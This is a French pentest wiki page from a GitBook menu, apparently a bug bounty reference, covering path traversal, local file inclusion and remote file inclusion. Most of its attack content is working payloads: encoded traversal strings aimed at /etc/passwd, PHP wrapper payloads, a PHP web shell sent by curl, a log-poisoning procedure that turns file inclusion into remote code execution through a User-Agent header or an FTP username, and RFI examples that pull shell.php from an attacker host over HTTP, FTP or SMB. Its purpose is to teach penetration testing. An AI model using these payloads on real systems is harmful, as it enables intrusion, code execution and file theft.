Pentest & Bug Bounty
  • 🥷Pentest et Bug Bounty
    • 👾Pentest Methodology
    • 💸Bug Bounty Methodology
      • 📓Ecrire un bon rapport
      • ⚖️Aspect Juridique (FR)
  • 👣OSINT / Recon
    • 🧦Sock Puppet
    • 🧠Mindmaps
    • 🏢Entreprise
    • 👀Leaks
    • 👊Manuel / Dorks
      • Google dorks
      • Github dorks
      • Twitter Dorks
      • Shodan Dorks
    • 👥Réseaux sociaux (SOCMINT)
      • 🕵️Telegram OSINT
      • 👻Snapchat OSINT
      • 🤵‍♂️Linkedin OSINT
      • 🗣️Facebook OSINT
      • 🎼Tik tok OSINT
      • 📷Instagram OSINT
      • 🐦Twitter OSINT
      • 🔊Discord OSINT
    • 🖇️Domaines et Sous-domaines
    • 🚪Scan de ports / web
    • ✉️Emails
    • 🔗Réseau
    • 📷Screenshots
    • 📹Live camera
    • 🧔Reconnaissance faciale / images
    • 🌆Images
    • 🗺️Maps
    • 👁️Active Directory
    • ☁️Cloud
    • Autre
  • 🌐Pentest Web
    • ✊Brute force / Fuzzing
    • 💉Injections
      • 🍪XSS
        • PDF injection
      • 📄HTMLi
      • 📃XXE
      • 7️⃣SSTI
      • 🔢SQLi
        • 👫UNION based
        • ⏳Time based
        • 🥽Boolean based / Error Based
        • 📤Out-Of-Band
      • ↩️CRLF
      • 🐚OS injection
      • ☕Log4Shell
      • 🥠CSV
      • 🍻ESI
      • 😎XSLT
      • 💌Injections dans emails
      • 🔀ELi
        • OGNLi
    • ↪️Open redirect
    • 📁Path Traversal / LFI / RFI
    • 🔓Bypass
      • 〰️WAF / Filter bypass
      • 2️2FA
    • ☠️Charges utiles
    • 📚CMS (Content Management System)
      • WordPress
      • Joomla!
      • Magento
      • Drupal
    • 🎭SOP bypass
      • CORS
      • postMessage()
      • JSONP
    • 🖱️Clickjacking
    • ⚙️Insecure deserialization
    • ☣️Web Cache Poisoning / Deception
    • 🤝HTTP Smuggling
    • 👋OAuth
    • ⛔SAML
    • 🗝️JSON Web Token
    • 🎣CSRF
      • 🚀Cross-site WebSocket Hijacking (CSWSH)
    • 🎯IDOR
    • 🕹️SSRF
      • Cloud SSRF
      • Protocol Smuggling
    • ⚙️APIs
      • 🍽️REST
      • 📶GraphQL
    • ❓Mot de passe oublié
    • 🛒Fonctions d'achat et de facturation
    • 👽Broken authentication / register
    • 🏁Panneaux d'administration
    • ⏬Upload features
    • 🔗Broken Link Hijacking
    • 🎮Prise de contrôle de sous-domaine
    • 🛂Prise de contrôle de DNS
    • ☝️One liners
    • 🚧Misconfigurations
    • 🗿Analyse statique
      • PHP
      • Ruby On Rails
      • Perl
      • JAVA
      • Javascript
      • Python
      • Golang
      • .NET
    • 🪣AWS S3
    • 🤖Captcha
    • 🪞Race conditions
    • ☄️.git exposé
    • 💭Business logic
    • 🥡Prototype pollution
    • 💣Dependency confusion
    • 🛑DoS
      • 🤯ReDoS
      • 👏Hash flooding
      • 🧨Cookie bomb
    • Autre
      • Flask
      • Symphony
      • Spring Boot
      • Django
      • Jenkins
  • 🌩️Pentest Cloud
    • IaC (Infrastructure as Code)
      • Terraform
      • Helm
      • Kustomize
    • AWS
      • Enumeration
    • Azure
      • Entra ID
      • Azure Resource Manager (ARM)
        • Enumeration
    • GCP
      • GCP IAM
      • Authentification
      • Enumeration
    • Kubernetes
  • 🕸️Pentest Réseau
    • 🪡Protocoles réseau
    • 📡Wifi
    • 🔋BLE
    • 📍VPN
  • 🗂️Pentest AD
    • 👺GPP
    • ➡️Mouvements latéraux
      • 🔪Pass The Hash
      • 🗡️Over Pass The Hash
    • 📜ADCS
  • 📱Pentest Mobile
    • 🤖Android
      • 👾Méthodologie
      • 🌳Setup environnement
      • 🍇Collecte d'informations
      • 🔠Enumeration des données locales
      • 🔙Reverse engineering
        • 🪢Dé-obfuscation
      • ⛰️Analyse statique (Android)
      • 🐞Debug
      • 🎰Stockage de données non sécurisé
        • 📰Logs
        • 🤝Shared Preferences
        • 🔤Strings
        • 🗄️SQLite DB
        • 🗃️Realm DB
        • 🧠Mémoire
        • 📍Copy/Paste buffer caching
        • ⌨️Keyboard press caching
        • 🔙Backup
        • Carte SD
      • 🌩️Firebase/Appspot misconfig
      • 🔗Deeplinks vulns
        • Interception de contenu
        • WebView hijacking (via deeplink)
        • Invalid Digital assets links
      • 🖼️WebView vulns
        • WebView Hijacking
        • Exfiltration de données
        • RXSS
        • Vol de token
      • Guides outils
        • ⛏️Outil Drozer
          • Injections SQL (Android)
          • Path traversal (Android)
        • 🔬Outil Objection
        • 🪝Outil Frida
        • Outil Medusa / Mango
      • Bypass
        • 📲Contournement de détection d'emulateur
          • 📂Fichiers d'emulateurs
          • 🙋‍♂️Network Operator Name
        • 🦷Contournement des détections de rootage
          • 🧮Root management
          • 🗝️Clé de signature du noyau
          • 🧊Props dangereux
          • 🦸‍♂️Binaire "su"
          • ❌Permissions sur les repertoires
        • ☝️Contournement des protections biometriques
        • 📜SSL pinning bypass
        • Contournement de code PIN
      • 🔳Lecteur de code QR/EAN/Barres...
      • 💔Injection de backdoor
      • 🪧Task hijacking
      • 🎭Overlay attacks
        • Tapjacking
        • Invisible Keyboard
      • 📵Résilience
        • ⌨️Third Party Keyboards
        • ©️Allowed Copy/Paste on sensitive fields
        • 🛤️Background screen caching
        • 🖋️Schémas de signature
        • ⬆️In-App updates
      • 🤯Corruption de Mémoire
    • 🍏iOS
      • 🥅Méthodologie
      • 🧱Setup environnement (iOS)
      • ⏮️Reverse engineering (iOS)
      • 🏔️Analyse statique (iOS)
      • 🧿Contournement de détection de Jailbreak
      • 📌SSL pinning bypass (iOS)
      • 👇Contournement d'authentification biométrique
      • 🐛Contournement d'anti-Hooking/Debugging
      • 🙈Stockage de données non sécurisé (iOS)
        • 💭Mémoire (iOS)
        • 🏓Copy/Paste buffer caching (iOS)
        • 🍪Cookies (iOS)
        • 🗞️Logs (iOS)
        • ⌨️Cache du clavier (IOS)
        • Backup (IOS)
      • 📱Background screen caching
      • 🧑‍🚀WebView vulns (iOS)
      • Deeplinks vulns (iOS)
      • Lecteur de code QR
      • Firebase misc
  • 👷Pentest physique
    • 🔐Crochetage
    • 💳RFID
    • ⚙️Equipements
    • 💾Hardware Hacking
      • 📈UART
      • 🧪JTAG
      • ⚡SWD
      • 🪢SPI
      • 🚌I²C
      • 🔴Fault Injection
      • Side-Channel Attacks
    • 🐣Firmware hacking
  • 🖨️Pentest IoT
    • ⏪Replay de stream camera
    • 🗣️Assistants vocaux
    • 📹Camera IP
    • ⬇️DoS
    • 🖨️Imprimantes
    • 🎬Chromecast
  • 💀Hacking protocols
    • 😩Telnet - port 23
    • 🔐SSH - port 22
    • 📤FTP - port 21
    • ❔Whois - port 43
    • 👉DNS - port 53
    • 🐕‍🦺Kerberos - port 88
    • 💼SNMP - ports 161-162
    • 📨SMB - ports 445-139
    • 📧SMTP - ports 25-587
    • 🎦RTSP - port 554
    • 🔎MS-RPC - ports 135-593
    • ➕Rsync - port 873
    • 🔢MS-SQL - port 1433
    • 🏗️Docker - port 2375
    • 🔡MySQL - port 3306
    • 📝LDAP - ports 389, 636, 3268, 3269
    • 🖥️RDP - port 3389
    • ⌨️VNC - ports 5800,5801,5900,5901
  • 😈Ingénierie sociale
    • 🧠Concepts / Principes / Attaques
    • 🪧Ethique
    • 👤Profils comportementaux
  • 🔓Crack
  • 🛠️Autres outils utiles
    • 🚿Sandbox / Sanitizer
    • 🔤Générateurs de wordlists personnalisées
  • 🌜Post-Exploitation
    • 👔Énumération /Élévation de privilèges
      • 🐧Linux
        • CVE-2022-0847 (Dirty Pipe)
        • CVE 2021-4034 (PwnKit)
        • CVE 2021-3560 (Polkit)
      • 🪟Windows
        • 🖨️PrintNightmare
        • 🖨️SpoolFool
        • 🆔Usurpation de SAMAccountName
        • ⏲️Scheduled task/job (T1573.005)
        • 🐝HiveNightmare
        • 🔑Stored Credentials
        • 🎩SeImpersonatePrivilege
        • 🎒SeBackupPrivilege
        • 🍞Unquoted Service Path
        • 🧩DLL Hijacking
        • ©️SeBackupPrivilege
      • ⛴️Docker
    • 👻Effacement des traces
    • ⚓Persistance / Downloaders
    • 🛡️Defense evasion
    • 📦Exfiltration de Données
  • 🔎Forensic
    • 💡Méthodologie
    • 📺Live forensic
    • 💻Mémoire non volatile
    • 🕊️Mémoire volatile
    • 📄File forensic
Propulsé par GitBook
Sur cette page
  • Liffy
  • LFISuite
  • LighTraversal
  • Manuel
  • Null byte (%00)
  • Wrapper
  • RCE via LFI + Log Poisoning
  • Quelques tips
  • LFI sur serveur Windows
  • Nginx
  • Ruby on rails / Django / NodeJs dans header Accept:
  • NodeJS filter bypass
  • RFI
  • HTTP
  • FTP
  • SMB
  • Trouver des paramètres

Cet article vous a-t-il été utile ?

  1. Pentest Web

Path Traversal / LFI / RFI

Outils dédiés aux path traversals et local file inclusion

PrécédentOpen redirectSuivantBypass

Dernière mise à jour il y a 1 an

Cet article vous a-t-il été utile ?

Liffy

Liffy est un outil d'exploitation de vulnérabilités de type LFI complet allant de l'utilisation des wrappers PHP à l'exploitation de log poisoning.

ressource:

LFISuite

LFI Suite est un outil totalement automatique capable d'analyser et d'exploiter les vulnérabilités d'inclusion de fichiers locaux en utilisant de nombreuses méthodes d'attaque différentes.

ressource:

LighTraversal

LighTraversal est un outil permettant de vérifier si il existe une vulnérabilité de path traversal dans une (liste d') url.

ressource:

Manuel

Encoding:

sans    simple    double

:        3A        %253A

/        2F        %252F

.        2E        %252E

-        2D        %252D     

=        3D        %253D


Exemples

/etc/passwd
../../../etc/passwd
....//....//....//etc//passwd
..///////..///////..///////etc///////passwd
..%5c..%5c..%5cetc%5cpasswd
.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./etc/passwd
..%253f..%253f..%253fetc%253fpasswd
..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd
/var/www/images/../../../etc/passwd

Null byte (%00)

Les anciennes versions de PHP sont vulnérable au Null byte permettant de ne pas prendre en compte tout ce qui est derrière celui-ci dans l'url.

Exemple pour une LFI:

On a un site qui ajoute des extensions automatiquement sur chaque uri

/target.com/index.php?page=../../../etc/passwd

devient

/target.com/index.php?page=../../../etc/passwd.php

ce qui donnera une erreur car passwd.php n'existe pas.

alors qu'avec le null byte,

/target.com/index.php?page=../../../etc/passwd%00

deviendra

/target.com/index.php?page=../../../etc/passwd%00.php

Ici ".php" ne sera pas pris en compte et le fichier passwd sera bien affiché.

Wrapper

il existe aussi avec php plusieurs wrappers permettant dans certains cas de soutirer des informations à une page tel que sont code source par exemple mais on peut aussi s'en servir pour uploads des fichiers et obtenir des RCE.

Voici quelques exemples de wrappers utilisés par PHP:

//Wrapper php filter
/target.com/index.php?page=php://filter/read=string.rot13/resource=index.php
/target.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
/target.com/index.php?page=php://Filter/convert.base64-encode/resource=index.php

//Wrapper data
data://text/plain,<?php info();?>
data://text/plain;base64,<payloadbase64>

//Wrapper expect
expect://id
expect://ls

//Wrapper zip
zip://shell.jpg%23payload.php

//Wrapper input
php://input
exemple:
curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id"

...

RCE via LFI + Log Poisoning

Prérequis: Avoir un paramètre vulnérable aux inclusions de fichiers locaux

  1. Essayez d'accéder à des fichiers de logs.

1.1. Si cela fonctionne, essayez d'injecter un payload via un paramètre ou un header logé

exemple: User-agent: <?php system($_GET["cmd"]); ?> ou dans l'url, ?param=<?php system($_GET["cmd"]); ?>

2. Scanner les ports de la machine à la recherche de service FTP, SSH, SMTP ou MySQL (+ version si possible pour connaitre potentiellement le nom du fichier de log et son emplacement).

2.1. Essayez d'accéder au fichier qui log les interactions avec ces services.

2.2. Si il y en a un d'accessible, essayer d'entrer votre payload en temps que nom d'utilisateur à la connexion.

2.3. Accédez au fichier de log et exécutez votre payload

Exemple pour un fichier /var/log/vsftpd.log.

$ ftp <target IP>
Connected to ...
220 (vsFTPd X.X.X)
Username: <?php system($_GET["cmd"]); ?>
...
Password: blabla
530 Login incorrect
Login Failed.

#Dans l'url
https://target.com/exemple.php?page=/var/log/vsftpd.log&cmd=id

Quelques tips

vérifier: file:|pwd

vérifier un possible contournement de filtre avec des ?:

le trick ici de de faire en sorte que le seul match possible est celui auquel vous pensez?

Par exemple, vous ne pouvez pas appeler /tmp avec /??? car il y a /etc qui contient le même nombre de caractères.

Par contre si vous entrez ceci,

  • /e??

  • /?t?

  • /??c

le seul répertoire possible cera /etc.

Plutôt que bin/cat etc/passwd il est possible d'utiliser:

/???/??t%20/???/???s?d

LFI sur serveur Windows

/../../c:/windows/system32/drivers/etc/hosts

C:%5Cwindows%5CSystem32%5Cinetsrv%5Cconfig%5CapplicationHost.config

Chemin relatif a partir du repertoire courant (cwd) du drive C

C:path\to\file.txt

Si file:///etc/passwd est bloqué dans l'url, essayer d'utiliser la fonctionnalité view-source du navigateur (view-source:file:///etc/passwd)

Nginx

https://target.com///////../../../etc/passwd

Ruby on rails / Django / NodeJs dans header Accept:

../../../../../../../../../../etc/passwd{{
../../../../../../../../../../etc/passwd{%0D
../../../../../../../../../../etc/passwd{%0A
../../../../../../../../../../etc/passwd{%00
../../../../../../../../../../etc/passwd{%0D{{
../../../../../../../../../../etc/passwd{%0A{{
../../../../../../../../../../etc/passwd{%00{{

NodeJS filter bypass

https://target.com/blabla/NN/secret

RFI

Exemples avec le webshell shell.php = <?php system($_GET["cmd"]); ?>

HTTP

Exemple de RFI via protocole HTTP

#Création du serveur HTTP
$ python3 -m http.server <LISTENING_PORT>

#Dans l'url du site
https://target.com/exemple.php?page=http://attacker.com:<port>/shell.php&cmd=id

FTP

Exemple de RFI via protocole FTP

#Création du serveur FTP
$ python -m pyftpdlib -p 21

#Dans l'url du site
https://target.com/exemple.php?page=ftp://attacker.com/shell.php&cmd=id

SMB

Exemple de RFI via protocole SMB

#Création du serveur SMB
$ impacket-smbserver -smb2support share $(pwd)

#Dans l'url du site
https://target.com/exemple.php?page=//<ATTACKER_IP>/shell.php&cmd=id

Trouver des paramètres

$ waybackurls target.com | gf lfi | tee -a lfi.txt

ressource:

🌐
📁
https://github.com/mzfr/liffy
https://github.com/D35m0nd142/LFISuite
https://github.com/mathis2001/LighTraversal
https://github.com/mathis2001/Wordlists/tree/main/LFI/LogFiles
https://www.compart.com/fr/unicode/U+FF2E